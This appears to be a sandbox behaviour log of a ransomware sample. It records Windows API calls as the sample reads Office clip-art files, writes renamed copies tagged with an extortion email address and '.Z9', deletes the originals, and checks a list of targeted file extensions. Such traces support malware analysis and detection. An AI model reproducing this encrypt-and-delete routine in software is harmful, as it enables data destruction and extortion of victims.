	[0190.567] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0190.567] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.567] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0190.568] GetLastError () returned 0x0
	[0190.568] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x65e6, lpOverlapped=0x0) returned 1
	[0190.568] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0x65f0, lpOverlapped=0x0) returned 1
	[0190.570] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0190.570] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0190.570] SetEndOfFile (hFile=0x370) returned 1
	[0190.570] CloseHandle (hObject=0x370) returned 1
	[0190.570] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.570] SetEndOfFile (hFile=0x354) returned 1
	[0190.571] CloseHandle (hObject=0x354) returned 1
	[0190.571] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0190.572] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099151.wmf")) returned 1
	[0190.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0190.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0190.572] lstrlenW (lpString=".doc") returned 4
	[0190.572] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.572] lstrlenW (lpString=".docx") returned 5
	[0190.572] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0190.572] lstrlenW (lpString=".pdf") returned 4
	[0190.572] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.572] lstrlenW (lpString=".xls") returned 4
	[0190.572] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.572] lstrlenW (lpString=".xlsx") returned 5
	[0190.572] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0190.573] lstrlenW (lpString=".ppt") returned 4
	[0190.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0190.573] lstrlenW (lpString=".zip") returned 4
	[0190.573] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.573] lstrlenW (lpString=".rar") returned 4
	[0190.573] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.573] lstrlenW (lpString=".bz2") returned 4
	[0190.573] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.573] lstrlenW (lpString=".7z") returned 3
	[0190.573] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0190.573] lstrlenW (lpString=".dbf") returned 4
	[0190.573] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0190.573] lstrlenW (lpString=".1cd") returned 4
	[0190.573] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0190.573] lstrlenW (lpString=".jpg") returned 4
	[0190.573] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0190.573] lstrlenW (lpString=".doc") returned 4
	[0190.573] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0190.573] lstrlenW (lpString=".docx") returned 5
	[0190.573] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1
	[0190.573] lstrlenW (lpString=".pdf") returned 4
	[0190.573] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0190.573] lstrlenW (lpString=".xls") returned 4
	[0190.573] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0190.573] lstrlenW (lpString=".xlsx") returned 5
	[0190.573] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1
	[0190.573] lstrlenW (lpString=".ppt") returned 4
	[0190.573] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0190.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0190.574] lstrlenW (lpString=".zip") returned 4
	[0190.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0190.574] lstrlenW (lpString=".rar") returned 4
	[0190.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0190.574] lstrlenW (lpString=".bz2") returned 4
	[0190.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0190.574] lstrlenW (lpString=".7z") returned 3
	[0190.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0190.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0190.574] lstrlenW (lpString=".dbf") returned 4
	[0190.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0190.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0190.574] lstrlenW (lpString=".1cd") returned 4
	[0190.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0190.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099151.WMF") returned 68
	[0190.574] lstrlenW (lpString=".jpg") returned 4
	[0190.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0190.574] lstrcmpiW (lpString1=".JPG", lpString2=".Z9") returned -1
	[0190.574] lstrlenW (lpString="J0099152.JPG") returned 12
	[0190.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0190.575] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=11694) returned 1
	[0190.575] CloseHandle (hObject=0x354) returned 1
	[0190.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220
	[0190.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0190.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0190.575] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.575] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0190.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0190.576] GetLastError () returned 0x0
	[0190.576] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x2dae, lpOverlapped=0x0) returned 1
	[0191.003] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0x2db0, lpOverlapped=0x0) returned 1
	[0191.005] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.005] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.006] SetEndOfFile (hFile=0x370) returned 1
	[0191.006] CloseHandle (hObject=0x370) returned 1
	[0191.006] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.006] SetEndOfFile (hFile=0x354) returned 1
	[0191.007] CloseHandle (hObject=0x354) returned 1
	[0191.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0191.008] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1
	[0191.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0191.008] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0191.008] lstrlenW (lpString=".doc") returned 4
	[0191.008] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0191.009] lstrlenW (lpString=".docx") returned 5
	[0191.009] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0191.009] lstrlenW (lpString=".pdf") returned 4
	[0191.009] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0191.009] lstrlenW (lpString=".xls") returned 4
	[0191.009] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0191.009] lstrlenW (lpString=".xlsx") returned 5
	[0191.009] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0191.009] lstrlenW (lpString=".ppt") returned 4
	[0191.009] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0191.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0191.009] lstrlenW (lpString=".zip") returned 4
	[0191.009] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0191.009] lstrlenW (lpString=".rar") returned 4
	[0191.009] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0191.009] lstrlenW (lpString=".bz2") returned 4
	[0191.009] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0191.009] lstrlenW (lpString=".7z") returned 3
	[0191.009] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0191.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0191.009] lstrlenW (lpString=".dbf") returned 4
	[0191.009] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0191.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0191.009] lstrlenW (lpString=".1cd") returned 4
	[0191.009] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0191.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0191.009] lstrlenW (lpString=".jpg") returned 4
	[0191.009] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0191.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0191.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0191.010] lstrlenW (lpString=".doc") returned 4
	[0191.010] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0191.010] lstrlenW (lpString=".docx") returned 5
	[0191.010] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1
	[0191.010] lstrlenW (lpString=".pdf") returned 4
	[0191.010] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0191.010] lstrlenW (lpString=".xls") returned 4
	[0191.010] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0191.010] lstrlenW (lpString=".xlsx") returned 5
	[0191.010] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1
	[0191.010] lstrlenW (lpString=".ppt") returned 4
	[0191.010] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0191.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0191.010] lstrlenW (lpString=".zip") returned 4
	[0191.010] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0191.010] lstrlenW (lpString=".rar") returned 4
	[0191.010] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0191.010] lstrlenW (lpString=".bz2") returned 4
	[0191.010] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0191.010] lstrlenW (lpString=".7z") returned 3
	[0191.010] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0191.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0191.010] lstrlenW (lpString=".dbf") returned 4
	[0191.010] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0191.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0191.010] lstrlenW (lpString=".1cd") returned 4
	[0191.010] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0191.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68
	[0191.010] lstrlenW (lpString=".jpg") returned 4
	[0191.011] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0191.011] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0191.011] lstrlenW (lpString="J0099163.WMF") returned 12
	[0191.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0191.012] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=22356) returned 1
	[0191.012] CloseHandle (hObject=0x354) returned 1
	[0191.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 0x220
	[0191.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0191.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0191.012] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.012] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370
	[0191.013] GetLastError () returned 0x0
	[0191.013] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x5754, lpOverlapped=0x0) returned 1
	[0191.013] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0x5760, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0x5760, lpOverlapped=0x0) returned 1
	[0191.015] ReadFile (in: hFile=0x354, lpBuffer=0x3707020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0191.015] WriteFile (in: hFile=0x370, lpBuffer=0x3707020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3707020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0191.015] SetEndOfFile (hFile=0x370) returned 1
	[0191.015] CloseHandle (hObject=0x370) returned 1
	[0191.015] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0191.016] SetEndOfFile (hFile=0x354) returned 1
	[0191.017] CloseHandle (hObject=0x354) returned 1
	[0191.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0191.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099163.wmf")) returned 1
	[0191.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0191.017] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0191.017] lstrlenW (lpString=".doc") returned 4
	[0191.017] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.017] lstrlenW (lpString=".docx") returned 5
	[0191.017] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0191.017] lstrlenW (lpString=".pdf") returned 4
	[0191.017] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.017] lstrlenW (lpString=".xls") returned 4
	[0191.017] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.017] lstrlenW (lpString=".xlsx") returned 5
	[0191.017] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0191.018] lstrlenW (lpString=".ppt") returned 4
	[0191.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0191.018] lstrlenW (lpString=".zip") returned 4
	[0191.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.018] lstrlenW (lpString=".rar") returned 4
	[0191.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.018] lstrlenW (lpString=".bz2") returned 4
	[0191.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.018] lstrlenW (lpString=".7z") returned 3
	[0191.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0191.018] lstrlenW (lpString=".dbf") returned 4
	[0191.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0191.018] lstrlenW (lpString=".1cd") returned 4
	[0191.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0191.018] lstrlenW (lpString=".jpg") returned 4
	[0191.018] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0191.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0191.018] lstrlenW (lpString=".doc") returned 4
	[0191.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0191.018] lstrlenW (lpString=".docx") returned 5
	[0191.018] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1
	[0191.018] lstrlenW (lpString=".pdf") returned 4
	[0191.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0191.018] lstrlenW (lpString=".xls") returned 4
	[0191.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0191.018] lstrlenW (lpString=".xlsx") returned 5
	[0191.018] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1
	[0191.018] lstrlenW (lpString=".ppt") returned 4
	[0191.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0191.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0191.019] lstrlenW (lpString=".zip") returned 4
	[0191.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0191.019] lstrlenW (lpString=".rar") returned 4
	[0191.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0191.019] lstrlenW (lpString=".bz2") returned 4
	[0191.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0191.019] lstrlenW (lpString=".7z") returned 3
	[0191.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0191.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0191.019] lstrlenW (lpString=".dbf") returned 4
	[0191.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0191.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0191.019] lstrlenW (lpString=".1cd") returned 4
	[0191.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0191.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099163.WMF") returned 68
	[0191.019] lstrlenW (lpString=".jpg") returned 4
	[0191.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0191.019] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0191.019] lstrlenW (lpString="J0099164.WMF") returned 12
	[0191.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354
	[0191.019] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=21946) returned 1
	[0191.019] CloseHandle (hObject=0x354) returned 1
	[0191.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099164.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099164.wmf")) returned 0x220
